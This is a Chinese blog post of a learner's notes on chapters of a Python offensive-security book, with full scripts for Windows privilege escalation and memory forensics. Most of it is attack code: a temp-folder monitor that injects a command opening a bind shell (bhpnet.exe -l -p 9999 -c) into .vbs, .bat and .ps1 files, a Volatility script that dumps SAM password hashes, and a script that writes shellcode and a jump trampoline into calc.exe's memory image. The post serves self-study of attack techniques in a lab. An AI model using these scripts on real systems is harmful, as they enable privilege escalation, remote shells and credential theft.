  12. <pre name="code" class="python">encrypted = "复制加密的内容过来"

chunk_size = 256offset = 0decrypted = ""encrypted = base64.b64decode(encrypted)while offset < len(encrypted): decrypted += rsakey.decrypt(encrypted[offset:offset+chunk_size]) offset += chunk_size# 解压负载plaintext = zlib.decompress(decrypted)print plaintext

 

实验还是没成功：

第十章 Windows系统提权

这章主要是监控具有高权限的进程，插入代码，从而获取熊权限

环境准备

安装pywin32，键盘钩子那章已经安装

安装wmi： easy_install wmi

示例服务下载：

https://www.nostarch.com/download/bhpservice.zip

利用WMI监视进程

  1. #-*- coding:utf8 -*-  
  2.  
  3. """
  4. @version: 
  5. @author: giantbranch
  6. @file: process_monitor.py
  7. @time: 2016/3/13 20:12
  8. """
  9.  
  10. import win32con
  11. import win32api
  12. import win32security
  13.  
  14. import wmi
  15. import sys
  16. import os
  17.  
  18. # 保存数据到文件中
  19. def log_to_file(message):
  20.     fd = open("process_monitor_log.csv", "ab")
  21.     fd.write("%s\r\n" % message)
  22.     fd.close()
  23.  
  24.     return
  25.  
  26. # 创建一个日志文件的头
  27. log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")
  28.  
  29. # 初始化WMI接口
  30. c = wmi.WMI()
  31.  
  32. # 创建进程监控器（监控进程创建）
  33. process_watcher = c.Win32_Process.watch_for("creation")
  34.  
  35. while True:
  36.     try:
  37.         # 有创建进程事件会返回
  38.         new_process = process_watcher()
  39.  
  40.         proc_owner = new_process.GetOwner()
  41.         # for i in proc_owner:
  42.         #     print i
  43.         proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2])
  44.         # 时间
  45.         create_data = new_process.CreationDate
  46.         # 路径
  47.         executable = new_process.ExecutablePath
  48.         # 命令行（就是实际的命令是什么）
  49.         cmdline = new_process.CommandLine
  50.         pid = new_process.ProcessId
  51.         parent_pid = new_process.ParentProcessId
  52.  
  53.         # N/A：不可用的意思
  54.         privileges = "N/A"
  55.  
  56.         process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_data, proc_owner, executable, cmdline, pid, parent_pid, privileges)
  57.  
  58.         # print process_log_message
  59.  
  60.         log_to_file(process_log_message)
  61.  
  62.     except:
  63.         pass

 


实验结果：

 

我们看一下owner的输出

 

 

Windows系统的令牌权限

msdn访问令牌：https://msdn.microsoft.com/zh-cn/library/Aa374909.aspx

权限列表：https://msdn.microsoft.com/zh-cn/library/windows/desktop/bb530716(v=vs.85).aspx

 

在上面加入以下代码，放到log_to_file函数前面吧

同时 privileges = get_process_privileges(pid)
  1. def get_process_privileges(pid):
  2.     try:
  3.         # 通过pid获取目标进程句柄
  4.         hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid)
  5.  
  6.         # 打开主进程的令牌
  7.         htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)
  8.  
  9.         # 解析已启用的权限列表，获得令牌信息
  10.         privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges)
  11.  
  12.         # 迭代每个权限并输出其中已经启用的
  13.         # i[0]:具体权限
  14.         # i[1]：该权限是否启用
  15.         priv_list = ""
  16.         for i in privs:
  17.             # 检测权限是否已经启用
  18.             if i[1] == 3:
  19.                 # 获取并连接权限的名称
  20.                 priv_list += "%s|" % win32security.LookupPrivilegeName(None, i[0])
  21.     except:
  22.         priv_list = "N/A"
  23.  
  24.     return priv_list


结果：

 

赢得竞争

  1. # 作者提供的原示例文件
  2. # http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
代码：
 
#-*- coding:utf8 -*- """ @version: @author: giantbranch @file: file_monitor.py @time: 2016/3/14 23:36 """ import tempfile import threading import win32file import win32con import os # 这些是典型的临时文件所在路径,就是我们监控的目录 dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()] # 文件修改行为对应常量 FILE_CREATE = 1 FILE_DELETE = 2 FILE_MODIFIED = 3 FILE_RENAMED_FROM = 4 FILE_RENAMED_TO = 5 def start_monitor(path_to_watch): # 为每个监控器起一个线程 FILE_LIST_DIRECTORY = 0x0001 # 获取文件目录句柄 h_directory = win32file.CreateFile( path_to_watch, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ |win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None ) while 1: try: # 这函数会在目录结构改变时通知我们 results = win32file.ReadDirectoryChangesW( h_directory, 1024, True, win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY, None, None ) # 我们可以获得发送了何种改变，以及目标文件的名称 for action,file_name in results: full_filename = os.path.join(path_to_watch, file_name) if action == FILE_CREATE: print "[ + ] Created %s" % full_filename elif action == FILE_DELETE: print "[ - ] Deleted %s" % full_filename elif action == FILE_MODIFIED: print "[ * ] Modified %s" % full_filename # 输出文件内容 print "[vvv] Dumping contents..." try: # 打开文件读数据 fd = open(full_filename, "rb") contents = fd.read() fd.close() print contents print "[^^^] Dump complete." except: print "[!!!] Failed." # 重命名哪个文件 elif action == FILE_RENAMED_FROM: print "[ > ] Renamed from: %s" % full_filename # 重命名后的文件名是? elif action == FILE_RENAMED_TO: print "[ < ] Renamed to: %s" % full_filename else: print "[???] Unknown: %s" % full_filename except: pass for path in dirs_to_monitor: monitor_thread = threading.Thread(target=start_monitor,args=(path,)) print "Spawning monitoring thread for path: %s" % path monitor_thread.start()

 

实验结果：

 

代码插入

  1. #-*- coding:utf8 -*-  
  2.  
  3. """
  4. @version: 
  5. @author: giantbranch
  6. @file: file_monitor.py
  7. @time: 2016/3/14 23:36
  8. """
  9.  
  10. import tempfile
  11. import threading
  12. import win32file
  13. import win32con
  14. import os
  15.  
  16. # 这些是典型的临时文件所在路径,就是我们监控的目录
  17. dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]
  18.  
  19. # 文件修改行为对应常量
  20. FILE_CREATE = 1
  21. FILE_DELETE = 2
  22. FILE_MODIFIED = 3
  23. FILE_RENAMED_FROM = 4
  24. FILE_RENAMED_TO = 5
  25.  
  26. # 定义匹配特定文件扩展名的字典
  27. file_types = {}
  28.  
  29. command = "C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c"
  30. # 每段扩展名对应一个特定的标签及我们想要插入的一段脚本
  31. file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % command]
  32. file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]
  33. file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"%s\"" % command]
  34.  
  35. # 用于执行代码插入的函数
  36. def inject_code(full_filename, extension, contents):
  37.     # 判断文件是否存在标记
  38.     if file_types[extension][0] in contents:
  39.         return
  40.  
  41.     # 如果没有标记的话，那么插入代码并标记
  42.     full_contents = file_types[extension][0]
  43.     full_contents += file_types[extension][1]
  44.     full_contents += contents
  45.  
  46.     fd = open(full_filename, "wb")
  47.     fd.write(full_contents)
  48.     fd.close()
  49.  
  50.     print "[\o/] Injected code"
  51.  
  52.     return
  53.  
  54. # 为每个监控器起一个线程
  55. def start_monitor(path_to_watch):
  56.  
  57.     # 访问模式
  58.     FILE_LIST_DIRECTORY = 0x0001
  59.  
  60.     # 获取文件目录句柄
  61.     h_directory = win32file.CreateFile(
  62.         path_to_watch,
  63.         FILE_LIST_DIRECTORY,
  64.         win32con.FILE_SHARE_READ |win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
  65.         None,
  66.         win32con.OPEN_EXISTING,
  67.         win32con.FILE_FLAG_BACKUP_SEMANTICS,
  68.         None
  69.     )
  70.  
  71.     while 1:
  72.         try:
  73.             # 这函数会在目录结构改变时通知我们
  74.             results = win32file.ReadDirectoryChangesW(
  75.                 h_directory,
  76.                 1024,
  77.                 True,
  78.                 win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
  79.                 win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
  80.                 win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
  81.                 win32con.FILE_NOTIFY_CHANGE_SIZE |
  82.                 win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
  83.                 win32con.FILE_NOTIFY_CHANGE_SECURITY,
  84.                 None,
  85.                 None
  86.             )
  87.  
  88.             # 我们可以获得发送了何种改变，以及目标文件的名称
  89.             for action,file_name in results:
  90.                 full_filename = os.path.join(path_to_watch, file_name)
  91.  
  92.                 if action == FILE_CREATE:
  93.                     print "[ + ] Created %s" % full_filename
  94.                 elif action == FILE_DELETE:
  95.                     print "[ - ] Deleted %s" % full_filename
  96.                 elif action == FILE_MODIFIED:
  97.                     print "[ * ] Modified %s" % full_filename
  98.                     # 输出文件内容
  99.                     print "[vvv] Dumping contents..."
  100.                     try:
  101.                         # 打开文件读数据
  102.                         fd = open(full_filename, "rb")
  103.                         contents = fd.read()
  104.                         fd.close()
  105.                         print contents
  106.                         print "[^^^] Dump complete."
  107.                     except:
  108.                         print "[!!!] Failed."
  109.  
  110.                     # 文件和文件扩展名分离
  111.                     filename, extension = os.path.splitext(full_filename)
  112.                     if extension in file_types:
  113.                         inject_code(full_filename, extension, contents)
  114.  
  115.                 # 重命名哪个文件
  116.                 elif action == FILE_RENAMED_FROM:
  117.                     print "[ > ] Renamed from: %s" % full_filename
  118.                 # 重命名后的文件名是?
  119.                 elif action == FILE_RENAMED_TO:
  120.                     print "[ < ] Renamed to: %s" % full_filename
  121.                 else:
  122.                     print "[???] Unknown: %s" % full_filename
  123.         except:
  124.             pass
  125.  
  126.  
  127. for path in dirs_to_monitor:
  128.     monitor_thread = threading.Thread(target=start_monitor,args=(path,))
  129.     print "Spawning monitoring thread for path: %s" % path
  130.     monitor_thread.start()

 

先安装启动漏洞示例服务

 

再执行上面的脚本

但并没有作者所说的那样有个vbs文件创建，于是我就自己创建了了个vbs文件

可以看到有编码问题，但最后各种尝试还是不行，指导原理就好，没看书的可能不知道这里是干嘛的

 

第十一章 自动化攻击取证

工具安装

Volatility ————高级内存取证框架工具

https://code.google.com/archive/p/volatility/downloads

我分享的源代码也有

这个下个源代码就额可以了，exe太污染系统了

 

工具配置

首先要获取内存镜像，各种百度谷歌，才找到了：

http://www.downloadcrew.com/article/23854-dumpit

 

参考文章：http://wenku.baidu.com/view/eec311e381c758f5f61f671a.html

MoonSols DumpIt是一款同时支持Win32dd和Win64dd的内存副本获取工具。用户只需双击DumpIt.exe可执行程序，并在提示问题后面输入y（如下图），等待几分钟时间即可在当前目录下生成主机物理内存的副本（如图2.3所示），该副本文件是以*.raw为后缀的镜像文件。raw是未经处理的意思，即使用该工具对物理内存进行拷贝是按每一个bit进行深度复制，即按原样进行复制，这样可以避免丢失一些重要数据。

 

 

出来了，9.多G，吓尿了

 

这是在我的真实机win7上运行结果

 

xp虚拟机结果（最重要的信息是红色那）

 

 

抓取口令的哈希值

由于我们是对VMWare虚拟机进行试验，我还是开winxp的虚拟机做实验，不知道需不需要打开，反正就先开了winxp虚拟机

 

我们可以看到虚拟机的vmem文件，这个应该是快照有关的文件，因为我保存了三个快照

 

 

 

抓取注册表的值在内存中的位置

 

 

可以看到底部的SAM和system的键值所在的虚拟地址和物理内存地址

虚拟地址：是在操作系统内存中的偏移

物理地址：是在.vmem文件中的偏移

 

接下来将虚拟地址传递给hashdump插件（-y是system的虚拟地址，-s是SAM的）

 

下面用python将上面连个步骤用编程实现

 

代码：

  1. #-*- coding:utf8 -*-  
  2.  
  3. """
  4. @version: 
  5. @author: giantbranch
  6. @file: grabhashes.py
  7. @time: 2016/3/15 20:16
  8. """
  9.  
  10. import sys
  11. import struct
  12. import volatility.conf as conf
  13. import volatility.registry as registry
  14.  
  15. # 要分析的内存文件位置
  16. memory_file = "D:\\Windows XP Professional-f6b49762.vmem"
  17.  
  18. # volatility的下载的路径
  19. sys.path.append("D:\\volatility-2.3")
  20.  
  21. registry.PluginImporter()
  22. config = conf.ConfObject()
  23.  
  24. import volatility.commands as commands
  25. import volatility.addrspace as addrspace
  26.  
  27. config.parse_options()
  28. config.PROFILE = "WinXPSP3x86"
  29. config.LOCATION = "file://%s" % memory_file
  30.  
  31. # 注册全局参数
  32. registry.register_global_options(config, commands.Command)
  33. registry.register_global_options(config, addrspace.BaseAddressSpace)
  34.  
  35. from volatility.plugins.registry.registryapi import RegistryApi
  36. from volatility.plugins.registry.lsadump import HashDump
  37.  
  38. # 实例化一个RegistryApi类对象（包含常用的注册表帮助类）
  39. registry = RegistryApi(config)
  40. # 等同与hivelist命令
  41. registry.populate_offsets()
  42.  
  43. sam_offset = None
  44. sys_offset = None
  45.  
  46. # 循环检索SAM和system键值
  47. for offset in registry.all_offsets:
  48.     if registry.all_offsets[offset].endswith("\\SAM"):
  49.         sam_offset = offset
  50.         print "[*] SAM: 0x%08x" % offset
  51.  
  52.     if registry.all_offsets[offset].endswith("\\system"):
  53.         sys_offset = offset
  54.         print "[*] System: 0x%08x" % offset
  55.  
  56.     if sam_offset is not None and sys_offset is not None:
  57.         config.sys_offset = sys_offset
  58.         config.sam_offset = sam_offset
  59.  
  60.         # 创建HashDump对象
  61.         hashdump = HashDump(config)
  62.  
  63.         for hash in hashdump.calculate():
  64.             print hash
  65.  
  66.         break
  67.  
  68.  
  69. if sam_offset is None or sys_offset is None:
  70.     print "[*] Failed to find the system or SAM offsets."

 

出错记录：（路径出现了中文，编程的目录还是用英文命名为好）

 

复制到D盘根目录解决

 

 

 

实验结果：

 

成功，好耶！！！

 

终于来到最后一课了

 

直接代码注入

代码：

  1. #-*- coding:utf8 -*-  
  2.  
  3. """
  4. @version: 
  5. @author: giantbranch
  6. @file: codecoverage.py
  7. @time: 2016/3/15 23:15
  8. """
  9.  
  10. from immlib import *
  11.  
  12. class cc_hook(LogBpHook):
  13.  
  14.     def __init__(self):
  15.         LogBpHook.__init__(self)
  16.         self.imm = Debugger()
  17.  
  18.     def run(self, regs):
  19.         self.imm.log("%08x" % regs['EIP'], regs['EIP'])
  20.         self.imm.deleteBreakpoint(regs['EIP'])
  21.         return
  22.  
  23.  
  24. def main(args):
  25.  
  26.     imm = Debugger()
  27.  
  28.     calc = imm.getModule("calc.exe")
  29.     imm.analyseCode(calc.getCodebase())
  30.  
  31.     functions = imm.getAllFunctions(calc.getCodebase())
  32.  
  33.     hooker = cc_hook()
  34.     for function in functions:
  35.         hooker.add("%08x" % function, function)
  36.  
  37.     return "Tracking %d functions." % len(functions)

 

  1. #-*- coding:utf8 -*-  
  2.  
  3. """
  4. @version: 
  5. @author: giantbranch
  6. @file: code_inject.py
  7. @time: 2016/3/16 13:04
  8. """
  9.  
  10. import sys
  11. import struct
  12.  
  13. equals_button = 0x01005D51
  14.  
  15. # 要分析的内存文件位置
  16. memory_file = "D:\\Windows XP Professional-f6b49762.vmem"
  17. slack_space = None
  18. trampoline_offset = None
  19.  
  20. # 读入我们的shellcode
  21. sc_fd = open("cmeasure.bin", "rb")
  22. sc = sc_fd.read()
  23. sc_fd.close()
  24.  
  25. sys.path.append("D:\\volatility-2.3")
  26.  
  27. import volatility.conf as conf
  28. import volatility.registry as registry
  29.  
  30. registry.PluginImporter()
  31. config = conf.ConfObject()
  32.  
  33. import volatility.commands as commands
  34. import volatility.addrspace as addrspace
  35.  
  36. registry.register_global_options(config, commands.Command)
  37. registry.register_global_options(config, addrspace.BaseAddressSpace)
  38.  
  39. config.parse_options()
  40. config.PROFILE = "WinXPSP3x86"
  41. config.LOCATION = "file://%s" % memory_file
  42.  
  43. import volatility.plugins.taskmods as taskmods
  44.  
  45. p = taskmods.PSList(config)
  46. for process in p.calculate():
  47.     if str(process.ImageFileName) == "calc.exe":
  48.         print "[*] Found calc.exe with PID %d" % process.UniqueProcessId
  49.         print "[*] Hunting for physical offsets...please wait."
  50.  
  51.         address_space = process.get_process_address_space()
  52.         pages = address_space.get_available_pages()
  53.  
  54.         # page[0]:页面地址
  55.         # page[1]：页面大小
  56.         for page in pages:
  57.             physical = address_space.vtop(page[0])
  58.             if physical is not None:
  59.                 fd = open(memory_file, "r+")
  60.                 fd.seek(physical)
  61.                 buf = fd.read(page[1])
  62.  
  63.                 try:
  64.                     offset = buf.index("\x00" * len(sc))
  65.                     slack_space = page[0] + offset
  66.  
  67.                     print "[*] Found good shellcode location!"
  68.                     print "[*] Virtual address: 0x%08x" % slack_space
  69.                     print "[*] Physical address: 0x%08x" % (physical + offset)
  70.                     print "[*] Injecting shellcode."
  71.  
  72.                     fd.seek(physical + offset)
  73.                     fd.write(sc)
  74.                     fd.flush()
  75.  
  76.                     # 创建我们的跳转代码
  77.                     # 对应的汇编指令为：
  78.                     # mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)
  79.                     # jmp ebx
  80.                     tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
  81.                     tramp += "\xff\xe3"
  82.  
  83.                     if trampoline_offset is not None:
  84.                         break
  85.  
  86.                 except:
  87.                     pass
  88.  
  89.                 fd.close()
  90.  
  91.             # 查看目标代码的位置
  92.             if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):
  93.                 print "[*] Found our trampoline target at: 0x%08x" % (physical)
  94.                 # 计算虚拟偏移
  95.                 v_offset = equals_button - page[0]
  96.                 # 计算物理偏移
  97.                 trampoline_offset = physical+ v_offset
  98.  
  99.                 print "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)
  100.  
  101.                 if slack_space is not None:
  102.                     break
  103.  
  104.  
  105.         print "[*] Writing trampoline..."
  106.  
  107.         fd = open(memory_file, "r+")
  108.         fd.seek(trampoline_offset)
  109.         fd.write(tramp)
  110.         fd.close()
  111.  
  112.         print "[*] Done injecting code."
  113.


 

点击等号时出现了两条消息

 



但改成那两个地址还是没用，由于逆向功夫渣，实验再次失败

 

 


 

 

 

 

终于学完了，也敲完代码了，其中有好几个都没成功实践出作者的预期结果，知道我哪里错的，欢迎指点。

最后感谢 用户  mackf qq_31229763 的鼓励

 

 

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/Cpp五条/article/detail/219455
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号